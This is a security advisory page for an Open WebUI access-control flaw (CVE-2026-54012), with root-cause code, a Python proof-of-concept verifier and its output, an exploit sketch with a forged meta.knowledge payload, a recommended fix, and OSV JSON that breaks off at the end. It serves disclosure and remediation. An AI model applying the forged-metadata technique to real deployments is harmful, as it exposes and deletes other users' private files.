CVE-2026-54012: Open WebUI Forged Model Meta.knowledge Allows Cross-user Vulnerability
HIGH
Advisory Identifier:
GHSA-vjqm-6gcc-62cr
Advisory Summary
CVE-2026-54012 is a HIGH (CVSS 7.1) forged model meta.knowledge allows cross-user vulnerability (CWE-284: Improper Access Control) affecting Open WebUI libraries in the PyPI ecosystem. The issue involves forged model meta.knowledge allows cross-user file read and deletion. Remediation is available by upgrading affected packages to version 0.9.6.
CVE-2026-54012 at a Glance
CVE Identifier
CVE-2026-54012
GHSA Identifier
GHSA-vjqm-6gcc-62cr
Severity
HIGH
CVSS v3.1 Base Score
7.1
CWE Classification
CWE-284: Improper Access Control
Affected Product
Open WebUI
Package Ecosystem
PyPI
Published Date
Last Updated
Security Impact
CVSS: 7.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L).
Attack Vector
Network (AV:N)
Attack Complexity
High (AC:H)
Privileges Required
Low (PR:L)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
High (C:H)
Integrity
High (I:H)
Availability
Low (A:L)
How to Fix CVE-2026-54012
To remediate this vulnerability, upgrade all affected Open WebUI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
open-webui
fixed: 0.9.6
pip install open-webui>=0.9.6
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show open-webuiHow to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-54012, inspect your installed packages using pip:
pip show open-webuiAnalyze the terminal output to locate any version of Open WebUI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.9.6), your application is affected.
Note: The pip show open-webui command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Open WebUI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
## Summary
Open WebUI lets a user who can create, update, or import workspace models store arbitrary `meta.knowledge` entries on their model without checking whether they own or can read the referenced files. Open WebUI then treats `meta.knowledge` entries of type `file` as an authorization source in two places: the built-in `view_file` tool reads the file's extracted text, and `has_access_to_file()`'s model branch authorizes the file content and file delete endpoints. A malicious model owner can therefore attach another user's file ID to their model metadata and read or delete that private file.
## Impact
Security boundary crossed: file confidentiality and integrity.
An authenticated attacker needs the `workspace.models` or `workspace.models_import` permission (or write access to an existing model) and a victim file ID. With those, for a file they do not own and cannot otherwise read, the attacker can:
- read the file's extracted text (up to `100000` characters per `view_file` call from `file.data.content`),
- read the file's content via `GET /api/v1/files/{id}/content`, and
- delete the file via `DELETE /api/v1/files/{id}`.
## Root Cause
`ModelMeta` allows extra metadata fields and `ModelForm` accepts that metadata without a validator for `meta.knowledge` file access:
```python
# backend/open_webui/models/models.py
class ModelForm(BaseModel):
model_config = ConfigDict(extra='ignore')
id: str
base_model_id: Optional[str] = None
name: str
meta: ModelMeta
params: ModelParams
```
Model creation only checks the caller's model-workspace permission and then stores the form data:
```python
# backend/open_webui/routers/models.py
if user.role != 'admin' and not await has_permission(
user.id, 'workspace.models', request.app.state.config.USER_PERMISSIONS, db=db
):
raise HTTPException(...)
model = await Models.insert_new_model(form_data, user.id, db=db)
```
The insert sink persists the supplied `meta`:
```python
# backend/open_webui/models/models.py
result = Model(
**{
**form_data.model_dump(exclude={'access_grants'}),
'user_id': user_id,
...
}
)
```
When built-in tools are assembled, `meta.knowledge` is passed through as `__model_knowledge__`, and any `file` entry enables `view_file`:
```python
# backend/open_webui/utils/tools.py
model_knowledge = model.get('info', {}).get('meta', {}).get('knowledge', [])
...
knowledge_types = {item.get('type') for item in model_knowledge}
if 'file' in knowledge_types or 'collection' in knowledge_types:
builtin_functions.append(view_file)
```
`view_file` treats matching `__model_knowledge__` file IDs as authorization, before `has_access_to_file()`:
```python
# backend/open_webui/tools/builtin.py
if (
file.user_id != user_id
and user_role != 'admin'
and not any(
item.get('type') == 'file' and item.get('id') == file_id for item in (__model_knowledge__ or [])
)
and not await has_access_to_file(...)
):
return json.dumps({'error': 'File not found'})
```
The same forged `meta.knowledge` is also trusted outside the tool path. `has_access_to_file()` iterates the caller's accessible models and returns true when a model's `meta.knowledge` contains the requested file ID:
```python
# backend/open_webui/utils/access_control/files.py
for model in await Models.get_models_by_user_id(user.id, permission=access_type, db=db):
knowledge_items = getattr(model.meta, 'knowledge', None) or []
for item in knowledge_items:
if isinstance(item, dict) and item.get('type') == 'file' and item.get('id') == file.id:
return True
```
This branch is not restricted to read, so it also satisfies the `write` check that `DELETE /api/v1/files/{id}` performs. The same missing validation applies to the import path (`POST /api/v1/models/import`) and the update path, not only create.
## PoC
```python
#!/usr/bin/env python3
"""
Verifier for forged model meta.knowledge file entries reaching builtin tools.
The proof executes:
- the real Models.insert_new_model() sink with a forged meta.knowledge entry
- the real builtin view_file() authorization branch
Fake DB/model adapters are used only to avoid requiring a live Open WebUI
server. The security-sensitive code under test is Open WebUI application code.
"""
from __future__ import annotations
import asyncio
import ast
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace
REPO = Path(__file__).resolve().parents[1]
BUILTIN_TOOLS = REPO / "backend/open_webui/tools/builtin.py"
def prepare_imports() -> None:
sys.path.insert(0, str(REPO / "backend"))
os.environ["VECTOR_DB"] = "none"
class DummyTyper:
def command(self, *args, **kwargs):
return lambda fn: fn
sys.modules.setdefault(
"typer",
types.SimpleNamespace(
Typer=lambda *args, **kwargs: DummyTyper(),
Option=lambda *args, **kwargs: None,
echo=lambda *args, **kwargs: None,
Exit=Exception,
),
)
sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))
class FakeDb:
def __init__(self):
self.added = []
self.committed = False
self.refreshed = False
def add(self, row):
self.added.append(row)
async def commit(self):
self.committed = True
async def refresh(self, row):
self.refreshed = True
class FakeDbContext:
def __init__(self, db):
self.db = db
async def __aenter__(self):
return self.db
async def __aexit__(self, exc_type, exc, tb):
return False
async def verify_model_insert_accepts_victim_file(victim_file_id: str):
import open_webui.models.models as models_module
fake_db = FakeDb()
original_context = models_module.get_async_db_context
original_set_grants = models_module.AccessGrants.set_access_grants
original_to_model = models_module.Models._to_model_model
async def fake_set_access_grants(*args, **kwargs):
return True
async def fake_to_model(self, model, access_grants=None, db=None):
return SimpleNamespace(
id=model.id,
user_id=model.user_id,
base_model_id=model.base_model_id,
name=model.name,
params=model.params,
meta=model.meta,
access_grants=[],
is_active=model.is_active,
created_at=model.created_at,
updated_at=model.updated_at,
)
try:
models_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)
models_module.AccessGrants.set_access_grants = fake_set_access_grants
models_module.Models._to_model_model = types.MethodType(fake_to_model, models_module.Models)
inserted = await models_module.Models.insert_new_model(
models_module.ModelForm(
id="attacker-model",
base_model_id="gpt-vision-base",
name="Attacker Model",
params={},
meta={
"knowledge": [
{
"id": victim_file_id,
"type": "file",
"name": "victim-private.txt",
}
],
"builtinTools": {"knowledge": True},
},
),
user_id="attacker",
)
finally:
models_module.get_async_db_context = original_context
models_module.AccessGrants.set_access_grants = original_set_grants
models_module.Models._to_model_model = original_to_model
stored_meta = [getattr(row, "meta", None) for row in fake_db.added]
stored_knowledge_ids = [
item.get("id")
for meta in stored_meta
for item in ((meta or {}).get("knowledge") or [])
]
return {
"insert_returned_model": bool(inserted),
"db_commit_called": fake_db.committed,
"stored_user_ids": [getattr(row, "user_id", None) for row in fake_db.added],
"stored_model_ids": [getattr(row, "id", None) for row in fake_db.added],
"stored_knowledge_file_ids": stored_knowledge_ids,
}
async def verify_view_file_trusts_model_knowledge(victim_file_id: str):
class FakeFiles:
looked_up_ids = []
async def get_file_by_id(self, file_id, db=None):
self.looked_up_ids.append(file_id)
if file_id == victim_file_id:
return SimpleNamespace(
id=victim_file_id,
user_id="victim",
filename="victim-private.txt",
data={"content": "PRIVATE_MODEL_KNOWLEDGE_SECRET"},
created_at=1,
updated_at=2,
)
return None
async def fake_has_access_to_file(file_id, access_type, user, db=None):
return False
class FakeUserModel:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
fake_files = FakeFiles()
fake_files_module = types.SimpleNamespace(Files=fake_files)
fake_file_acl_module = types.SimpleNamespace(has_access_to_file=fake_has_access_to_file)
original_files_module = sys.modules.get("open_webui.models.files")
original_acl_module = sys.modules.get("open_webui.utils.access_control.files")
try:
sys.modules["open_webui.models.files"] = fake_files_module
sys.modules["open_webui.utils.access_control.files"] = fake_file_acl_module
source = BUILTIN_TOOLS.read_text(encoding="utf-8")
tree = ast.parse(source, filename=str(BUILTIN_TOOLS))
selected = [
node
for node in tree.body
if isinstance(node, ast.AsyncFunctionDef) and node.name == "view_file"
]
if len(selected) != 1:
raise RuntimeError("could not find view_file")
module = ast.Module(body=selected, type_ignores=[])
ast.fix_missing_locations(module)
ns = {
"json": json,
"Optional": __import__("typing").Optional,
"Request": object,
"UserModel": FakeUserModel,
"log": SimpleNamespace(exception=lambda *args, **kwargs: None),
"MAX_VIEW_FILE_CHARS": 100_000,
"DEFAULT_VIEW_FILE_MAX_CHARS": 10_000,
}
exec(compile(module, str(BUILTIN_TOOLS), "exec"), ns)
view_file = ns["view_file"]
denied_without_model_knowledge = await view_file(
victim_file_id,
__request__=SimpleNamespace(),
__user__={"id": "attacker", "role": "user", "name": "attacker", "email": "a@example.test"},
__model_knowledge__=[],
)
allowed_with_model_knowledge = await view_file(
victim_file_id,
__request__=SimpleNamespace(),
__user__={"id": "attacker", "role": "user", "name": "attacker", "email": "a@example.test"},
__model_knowledge__=[{"id": victim_file_id, "type": "file"}],
)
finally:
if original_files_module is not None:
sys.modules["open_webui.models.files"] = original_files_module
else:
sys.modules.pop("open_webui.models.files", None)
if original_acl_module is not None:
sys.modules["open_webui.utils.access_control.files"] = original_acl_module
else:
sys.modules.pop("open_webui.utils.access_control.files", None)
denied = json.loads(denied_without_model_knowledge)
allowed = json.loads(allowed_with_model_knowledge)
return {
"file_ids_looked_up": fake_files.looked_up_ids,
"without_model_knowledge": denied,
"with_forged_model_knowledge": allowed,
"private_content_disclosed": allowed.get("content") == "PRIVATE_MODEL_KNOWLEDGE_SECRET",
}
async def main() -> None:
prepare_imports()
victim_file_id = "victim-private-file"
insert_sink = await verify_model_insert_accepts_victim_file(victim_file_id)
tool_read = await verify_view_file_trusts_model_knowledge(victim_file_id)
result = {
"confirmed": (
insert_sink["insert_returned_model"] is True
and insert_sink["stored_user_ids"] == ["attacker"]
and insert_sink["stored_knowledge_file_ids"] == [victim_file_id]
and tool_read["without_model_knowledge"].get("error") == "File not found"
and tool_read["private_content_disclosed"] is True
),
"attacker_user_id": "attacker",
"victim_user_id": "victim",
"victim_file_id": victim_file_id,
"attacker_owns_file": False,
"model_insert_sink": insert_sink,
"tool_read": tool_read,
"source": {
"insert_sink": "backend/open_webui/models/models.py:Models.insert_new_model",
"tool_injection": "backend/open_webui/utils/tools.py:get_builtin_tools passes model meta.knowledge as __model_knowledge__",
"read_sink": "backend/open_webui/tools/builtin.py:view_file",
},
}
print(json.dumps(result, indent=2, sort_keys=True))
if not result["confirmed"]:
raise SystemExit(1)
if __name__ == "__main__":
asyncio.run(main())
```
The PoC executes the real `Models.insert_new_model()` sink and the real `view_file()` authorization branch with fake database/file adapters. It first confirms that the attacker-owned model stores a forged victim file ID in `meta.knowledge`, then confirms `view_file()` denies the same victim file without model knowledge but discloses content when the forged model knowledge entry is present.
Result:
```json
{
"attacker_owns_file": false,
"attacker_user_id": "attacker",
"confirmed": true,
"model_insert_sink": {
"db_commit_called": true,
"insert_returned_model": true,
"stored_knowledge_file_ids": [
"victim-private-file"
],
"stored_model_ids": [
"attacker-model"
],
"stored_user_ids": [
"attacker"
]
},
"tool_read": {
"private_content_disclosed": true,
"with_forged_model_knowledge": {
"content": "PRIVATE_MODEL_KNOWLEDGE_SECRET",
"filename": "victim-private.txt",
"id": "victim-private-file"
},
"without_model_knowledge": {
"error": "File not found"
}
},
"victim_file_id": "victim-private-file",
"victim_user_id": "victim"
}
```
## Exploit Sketch
1. Attacker has permission to create or update workspace models.
2. Attacker creates a model with:
```json
{
"meta": {
"knowledge": [
{
"id": "VICTIM_FILE_ID",
"type": "file",
"name": "victim-private.txt"
}
],
"builtinTools": {
"knowledge": true
}
}
}
```
3. Attacker chats with that model using native/built-in tools and invokes `view_file` for `VICTIM_FILE_ID`.
4. The tool returns the victim file's extracted text content despite the attacker not owning or otherwise having access to the file.
## Recommended Fix
Validate `meta.knowledge` on every model write path: create, update, and import. For entries with `type == "file"`, require direct ownership, admin role, or `has_access_to_file(file_id, 'read', user, db=db)` before storing the entry. Validate the import payload before its surrounding try/except so a rejection surfaces as `403`, not `500`.
Do not let `view_file()` treat `__model_knowledge__` as an authorization bypass; it should still enforce ownership/admin/`has_access_to_file()` per file ID. File deletion should require ownership, admin, or explicit write/delete access, not a read-derived model association.
## Consolidation
Per our Report Handling policy this consolidates independent reports of the same model `meta.knowledge` file-ID laundering flaw:
- Read via forged `meta.knowledge` on model create, through the built-in `view_file` tool: @0xEr3n (earliest filing).
- Distinct paths demonstrated by @5yu4n: the import endpoint (`POST /api/v1/models/import`), and cross-user read and deletion through the file API (`GET` / `DELETE /api/v1/files/{id}`) via `has_access_to_file()`'s model branch.
Fix validates `meta.knowledge` ownership on create, update, and import; blocking the forged entry closes both read and delete. One CVE for the consolidated advisory.
CVE-2026-54012 Affected Open WebUI Versions
1 component(s)
Fixed Versions:
0.9.6
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
open-webui
|
PyPI |
< 0.9.6
|
0.9.6
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/open-webui/open-webui/security/advisories/GHSA-vjqm-6gcc-62cr
NVD — CVE-2026-54012
NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-54012
GitHub Advisory / Wiki
ADVISORY
https://github.com/advisories/GHSA-vjqm-6gcc-62cr
Open WebUI Source Repository
REPOSITORY
https://github.com/open-webui/open-webui
Open WebUI Source Repository
REPOSITORY
https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2761.yaml
pypi.org/project/open-webui
WEB
https://pypi.org/project/open-webui
Frequently Asked Questions
What is CVE-2026-54012?
CVE-2026-54012 is a security vulnerability in Open WebUI involving Forged model meta.knowledge allows cross-user file read and deletion under CWE-284: Improper Access Control.
Which Open WebUI versions are affected?
Affected versions include releases prior to 0.9.6 across affected packages: open-webui.
What version fixes CVE-2026-54012?
Upgrading to 0.9.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is open-webui affected?
Yes, open-webui is affected in releases prior to 0.9.6. Upgrade your dependency to 0.9.6 or later.
What is the CVSS score of CVE-2026-54012?
CVE-2026-54012 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L.
What CWE is associated with CVE-2026-54012?
CVE-2026-54012 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check PyPI dependencies for CVE-2026-54012?
Run the dependency tree command: 'pip show open-webui'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-vjqm-6gcc-62cr",
"modified" : "2026-07-20T21:04:47Z",
"published" : "2026-06-17T14:15:33Z",
"aliases" : [ "CVE-2026-54012" ],
"summary" : "Open WebUI: Forged model meta.knowledge allows cross-user file read and deletion",
"details" : "## Summary\n\nOpen WebUI lets a user who can create, update, or import workspace models store arbitrary `meta.knowledge` entries on their model without checking whether they own or can read the referenced files. Open WebUI then treats `meta.knowledge` entries of type `file` as an authorization source in two places: the built-in `view_file` tool reads the file's extracted text, and `has_access_to_file()`'s model branch authorizes the file content and file delete endpoints. A malicious model owner can therefore attach another user's file ID to their model metadata and read or delete that private file.\n\n## Impact\n\nSecurity boundary crossed: file confidentiality and integrity.\n\nAn authenticated attacker needs the `workspace.models` or `workspace.models_import` permission (or write access to an existing model) and a victim file ID. With those, for a file they do not own and cannot otherwise read, the attacker can:\n\n- read the file's extracted text (up to `100000` characters per `view_file` call from `file.data.content`),\n- read the file's content via `GET /api/v1/files/{id}/content`, and\n- delete the file via `DELETE /api/v1/files/{id}`.\n\n## Root Cause\n\n`ModelMeta` allows extra metadata fields and `ModelForm` accepts that metadata without a validator for `meta.knowledge` file access:\n\n```python\n# backend/open_webui/models/models.py\nclass ModelForm(BaseModel):\n model_config = ConfigDict(extra='ignore')\n\n id: str\n base_model_id: Optional[str] = None\n name: str\n meta: ModelMeta\n params: ModelParams\n```\n\nModel creation only checks the caller's model-workspace permission and then stores the form data:\n\n```python\n# backend/open_webui/routers/models.py\nif user.role != 'admin' and not await has_permission(\n user.id, 'workspace.models', request.app.state.config.USER_PERMISSIONS, db=db\n):\n raise HTTPException(...)\n\nmodel = await Models.insert_new_model(form_data, user.id, db=db)\n```\n\nThe insert sink persists the supplied `meta`:\n\n```python\n# backend/open_webui/models/models.py\nresult = Model(\n **{\n **form_data.model_dump(exclude={'access_grants'}),\n 'user_id': user_id,\n ...\n }\n)\n```\n\nWhen built-in tools are assembled, `meta.knowledge` is passed through as `__model_knowledge__`, and any `file` entry enables `view_file`:\n\n```python\n# backend/open_webui/utils/tools.py\nmodel_knowledge = model.get('info', {}).get('meta', {}).get('knowledge', [])\n...\nknowledge_types = {item.get('type') for item in model_knowledge}\nif 'file' in knowledge_types or 'collection' in knowledge_types:\n builtin_functions.append(view_file)\n```\n\n`view_file` treats matching `__model_knowledge__` file IDs as authorization, before `has_access_to_file()`:\n\n```python\n# backend/open_webui/tools/builtin.py\nif (\n file.user_id != user_id\n and user_role != 'admin'\n and not any(\n item.get('type') == 'file' and item.get('id') == file_id for item in (__model_knowledge__ or [])\n )\n and not await has_access_to_file(...)\n):\n return json.dumps({'error': 'File not found'})\n```\n\nThe same forged `meta.knowledge` is also trusted outside the tool path. `has_access_to_file()` iterates the caller's accessible models and returns true when a model's `meta.knowledge` contains the requested file ID:\n\n```python\n# backend/open_webui/utils/access_control/files.py\nfor model in await Models.get_models_by_user_id(user.id, permission=access_type, db=db):\n knowledge_items = getattr(model.meta, 'knowledge', None) or []\n for item in knowledge_items:\n if isinstance(item, dict) and item.get('type') == 'file' and item.get('id') == file.id:\n return True\n```\n\nThis branch is not restricted to read, so it also satisfies the `write` check that `DELETE /api/v1/files/{id}` performs. The same missing validation applies to the import path (`POST /api/v1/models/import`) and the update path, not only create.\n\n## PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVerifier for forged model meta.knowledge file entries reaching builtin tools.\n\nThe proof executes:\n - the real Models.insert_new_model() sink with a forged meta.knowledge entry\n - the real builtin view_file() authorization branch\n\nFake DB/model adapters are used only to avoid requiring a live Open WebUI\nserver. The security-sensitive code under test is Open WebUI application code.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport ast\nimport json\nimport os\nimport sys\nimport types\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\nREPO = Path(__file__).resolve().parents[1]\nBUILTIN_TOOLS = REPO / \"backend/open_webui/tools/builtin.py\"\n\n\ndef prepare_imports() -> None:\n sys.path.insert(0, str(REPO / \"backend\"))\n os.environ[\"VECTOR_DB\"] = \"none\"\n\n class DummyTyper:\n def command(self, *args, **kwargs):\n return lambda fn: fn\n\n sys.modules.setdefault(\n \"typer\",\n types.SimpleNamespace(\n Typer=lambda *args, **kwargs: DummyTyper(),\n Option=lambda *args, **kwargs: None,\n echo=lambda *args, **kwargs: None,\n Exit=Exception,\n ),\n )\n sys.modules.setdefault(\"uvicorn\", types.SimpleNamespace(run=lambda *args, **kwargs: None))\n\n\nclass FakeDb:\n def __init__(self):\n self.added = []\n self.committed = False\n self.refreshed = False\n\n def add(self, row):\n self.added.append(row)\n\n async def commit(self):\n self.committed = True\n\n async def refresh(self, row):\n self.refreshed = True\n\n\nclass FakeDbContext:\n def __init__(self, db):\n self.db = db\n\n async def __aenter__(self):\n return self.db\n\n async def __aexit__(self, exc_type, exc, tb):\n return False\n\n\nasync def verify_model_insert_accepts_victim_file(victim_file_id: str):\n import open_webui.models.models as models_module\n\n fake_db = FakeDb()\n original_context = models_module.get_async_db_context\n original_set_grants = models_module.AccessGrants.set_access_grants\n original_to_model = models_module.Models._to_model_model\n\n async def fake_set_access_grants(*args, **kwargs):\n return True\n\n async def fake_to_model(self, model, access_grants=None, db=None):\n return SimpleNamespace(\n id=model.id,\n user_id=model.user_id,\n base_model_id=model.base_model_id,\n name=model.name,\n params=model.params,\n meta=model.meta,\n access_grants=[],\n is_active=model.is_active,\n created_at=model.created_at,\n updated_at=model.updated_at,\n )\n\n try:\n models_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)\n models_module.AccessGrants.set_access_grants = fake_set_access_grants\n models_module.Models._to_model_model = types.MethodType(fake_to_model, models_module.Models)\n\n inserted = await models_module.Models.insert_new_model(\n models_module.ModelForm(\n id=\"attacker-model\",\n base_model_id=\"gpt-vision-base\",\n name=\"Attacker Model\",\n params={},\n meta={\n \"knowledge\": [\n {\n \"id\": victim_file_id,\n \"type\": \"file\",\n \"name\": \"victim-private.txt\",\n }\n ],\n \"builtinTools\": {\"knowledge\": True},\n },\n ),\n user_id=\"attacker\",\n )\n finally:\n models_module.get_async_db_context = original_context\n models_module.AccessGrants.set_access_grants = original_set_grants\n models_module.Models._to_model_model = original_to_model\n\n stored_meta = [getattr(row, \"meta\", None) for row in fake_db.added]\n stored_knowledge_ids = [\n item.get(\"id\")\n for meta in stored_meta\n for item in ((meta or {}).get(\"knowledge\") or [])\n ]\n\n return {\n \"insert_returned_model\": bool(inserted),\n \"db_commit_called\": fake_db.committed,\n \"stored_user_ids\": [getattr(row, \"user_id\", None) for row in fake_db.added],\n \"stored_model_ids\": [getattr(row, \"id\", None) for row in fake_db.added],\n \"stored_knowledge_file_ids\": stored_knowledge_ids,\n }\n\n\nasync def verify_view_file_trusts_model_knowledge(victim_file_id: str):\n class FakeFiles:\n looked_up_ids = []\n\n async def get_file_by_id(self, file_id, db=None):\n self.looked_up_ids.append(file_id)\n if file_id == victim_file_id:\n return SimpleNamespace(\n id=victim_file_id,\n user_id=\"victim\",\n filename=\"victim-private.txt\",\n data={\"content\": \"PRIVATE_MODEL_KNOWLEDGE_SECRET\"},\n created_at=1,\n updated_at=2,\n )\n return None\n\n async def fake_has_access_to_file(file_id, access_type, user, db=None):\n return False\n\n class FakeUserModel:\n def __init__(self, **kwargs):\n self.__dict__.update(kwargs)\n\n fake_files = FakeFiles()\n fake_files_module = types.SimpleNamespace(Files=fake_files)\n fake_file_acl_module = types.SimpleNamespace(has_access_to_file=fake_has_access_to_file)\n\n original_files_module = sys.modules.get(\"open_webui.models.files\")\n original_acl_module = sys.modules.get(\"open_webui.utils.access_control.files\")\n\n try:\n sys.modules[\"open_webui.models.files\"] = fake_files_module\n sys.modules[\"open_webui.utils.access_control.files\"] = fake_file_acl_module\n\n source = BUILTIN_TOOLS.read_text(encoding=\"utf-8\")\n tree = ast.parse(source, filename=str(BUILTIN_TOOLS))\n selected = [\n node\n for node in tree.body\n if isinstance(node, ast.AsyncFunctionDef) and node.name == \"view_file\"\n ]\n if len(selected) != 1:\n raise RuntimeError(\"could not find view_file\")\n module = ast.Module(body=selected, type_ignores=[])\n ast.fix_missing_locations(module)\n ns = {\n \"json\": json,\n \"Optional\": __import__(\"typing\").Optional,\n \"Request\": object,\n \"UserModel\": FakeUserModel,\n \"log\": SimpleNamespace(exception=lambda *args, **kwargs: None),\n \"MAX_VIEW_FILE_CHARS\": 100_000,\n \"DEFAULT_VIEW_FILE_MAX_CHARS\": 10_000,\n }\n exec(compile(module, str(BUILTIN_TOOLS), \"exec\"), ns)\n view_file = ns[\"view_file\"]\n\n denied_without_model_knowledge = await view_file(\n victim_file_id,\n __request__=SimpleNamespace(),\n __user__={\"id\": \"attacker\", \"role\": \"user\", \"name\": \"attacker\", \"email\": \"a@example.test\"},\n __model_knowledge__=[],\n )\n allowed_with_model_knowledge = await view_file(\n victim_file_id,\n __request__=SimpleNamespace(),\n __user__={\"id\": \"attacker\", \"role\": \"user\", \"name\": \"attacker\", \"email\": \"a@example.test\"},\n __model_knowledge__=[{\"id\": victim_file_id, \"type\": \"file\"}],\n )\n finally:\n if original_files_module is not None:\n sys.modules[\"open_webui.models.files\"] = original_files_module\n else:\n sys.modules.pop(\"open_webui.models.files\", None)\n if original_acl_module is not None:\n sys.modules[\"open_webui.utils.access_control.files\"] = original_acl_module\n else:\n sys.modules.pop(\"open_webui.utils.access_control.files\", None)\n\n denied = json.loads(denied_without_model_knowledge)\n allowed = json.loads(allowed_with_model_knowledge)\n return {\n \"file_ids_looked_up\": fake_files.looked_up_ids,\n \"without_model_knowledge\": denied,\n \"with_forged_model_knowledge\": allowed,\n \"private_content_disclosed\": allowed.get(\"content\") == \"PRIVATE_MODEL_KNOWLEDGE_SECRET\",\n }\n\n\nasync def main() -> None:\n prepare_imports()\n victim_file_id = \"victim-private-file\"\n\n insert_sink = await verify_model_insert_accepts_victim_file(victim_file_id)\n tool_read = await verify_view_file_trusts_model_knowledge(victim_file_id)\n\n result = {\n \"confirmed\": (\n insert_sink[\"insert_returned_model\"] is True\n and insert_sink[\"stored_user_ids\"] == [\"attacker\"]\n and insert_sink[\"stored_knowledge_file_ids\"] == [victim_file_id]\n and tool_read[\"without_model_knowledge\"].get(\"error\") == \"File not found\"\n and tool_read[\"private_content_disclosed\"] is True\n ),\n \"attacker_user_id\": \"attacker\",\n \"victim_user_id\": \"victim\",\n \"victim_file_id\": victim_file_id,\n \"attacker_owns_file\": False,\n \"model_insert_sink\": insert_sink,\n \"tool_read\": tool_read,\n \"source\": {\n \"insert_sink\": \"backend/open_webui/models/models.py:Models.insert_new_model\",\n \"tool_injection\": \"backend/open_webui/utils/tools.py:get_builtin_tools passes model meta.knowledge as __model_knowledge__\",\n \"read_sink\": \"backend/open_webui/tools/builtin.py:view_file\",\n },\n }\n print(json.dumps(result, indent=2, sort_keys=True))\n if not result[\"confirmed\"]:\n raise SystemExit(1)\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```\n\nThe PoC executes the real `Models.insert_new_model()` sink and the real `view_file()` authorization branch with fake database/file adapters. It first confirms that the attacker-owned model stores a forged victim file ID in `meta.knowledge`, then confirms `view_file()` denies the same victim file without model knowledge but discloses content when the forged model knowledge entry is present.\n\nResult:\n\n```json\n{\n \"attacker_owns_file\": false,\n \"attacker_user_id\": \"attacker\",\n \"confirmed\": true,\n \"model_insert_sink\": {\n \"db_commit_called\": true,\n \"insert_returned_model\": true,\n \"stored_knowledge_file_ids\": [\n \"victim-private-file\"\n ],\n \"stored_model_ids\": [\n \"attacker-model\"\n ],\n \"stored_user_ids\": [\n \"attacker\"\n ]\n },\n \"tool_read\": {\n \"private_content_disclosed\": true,\n \"with_forged_model_knowledge\": {\n \"content\": \"PRIVATE_MODEL_KNOWLEDGE_SECRET\",\n \"filename\": \"victim-private.txt\",\n \"id\": \"victim-private-file\"\n },\n \"without_model_knowledge\": {\n \"error\": \"File not found\"\n }\n },\n \"victim_file_id\": \"victim-private-file\",\n \"victim_user_id\": \"victim\"\n}\n```\n\n## Exploit Sketch\n\n1. Attacker has permission to create or update workspace models.\n2. Attacker creates a model with:\n\n```json\n{\n \"meta\": {\n \"knowledge\": [\n {\n \"id\": \"VICTIM_FILE_ID\",\n \"type\": \"file\",\n \"name\": \"victim-private.txt\"\n }\n ],\n \"builtinTools\": {\n \"knowledge\": true\n }\n }\n}\n```\n\n3. Attacker chats with that model using native/built-in tools and invokes `view_file` for `VICTIM_FILE_ID`.\n4. The tool returns the victim file's extracted text content despite the attacker not owning or otherwise having access to the file.\n\n## Recommended Fix\n\nValidate `meta.knowledge` on every model write path: create, update, and import. For entries with `type == \"file\"`, require direct ownership, admin role, or `has_access_to_file(file_id, 'read', user, db=db)` before storing the entry. Validate the import payload before its surrounding try/except so a rejection surfaces as `403`, not `500`.\n\nDo not let `view_file()` treat `__model_knowledge__` as an authorization bypass; it should still enforce ownership/admin/`has_access_to_file()` per file ID. File deletion should require ownership, admin, or explicit write/delete access, not a read-derived model association.\n\n## Consolidation\n\nPer our Report Handling policy this consolidates independent reports of the same model `meta.knowledge` file-ID laundering flaw:\n\n- Read via forged `meta.knowledge` on model create, through the built-in `view_file` tool: @0xEr3n (earliest filing).\n- Distinct paths demonstrated by @5yu4n: the import endpoint (`POST /api/v1/models/import`), and cross-user read and deletion through the file API (`GET` / `DELETE /api/v1/files/{id}`) via `has_access_to_file()`'s model branch.\n\nFix validates `meta.knowledge` ownership on create, update, and import; blocking the forged entry closes both read and delete. One CVE for the consolidated advisory.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "open-webui"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.9.6"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.9.5"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-vjqm-6gcc-62cr"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54012"
}, {
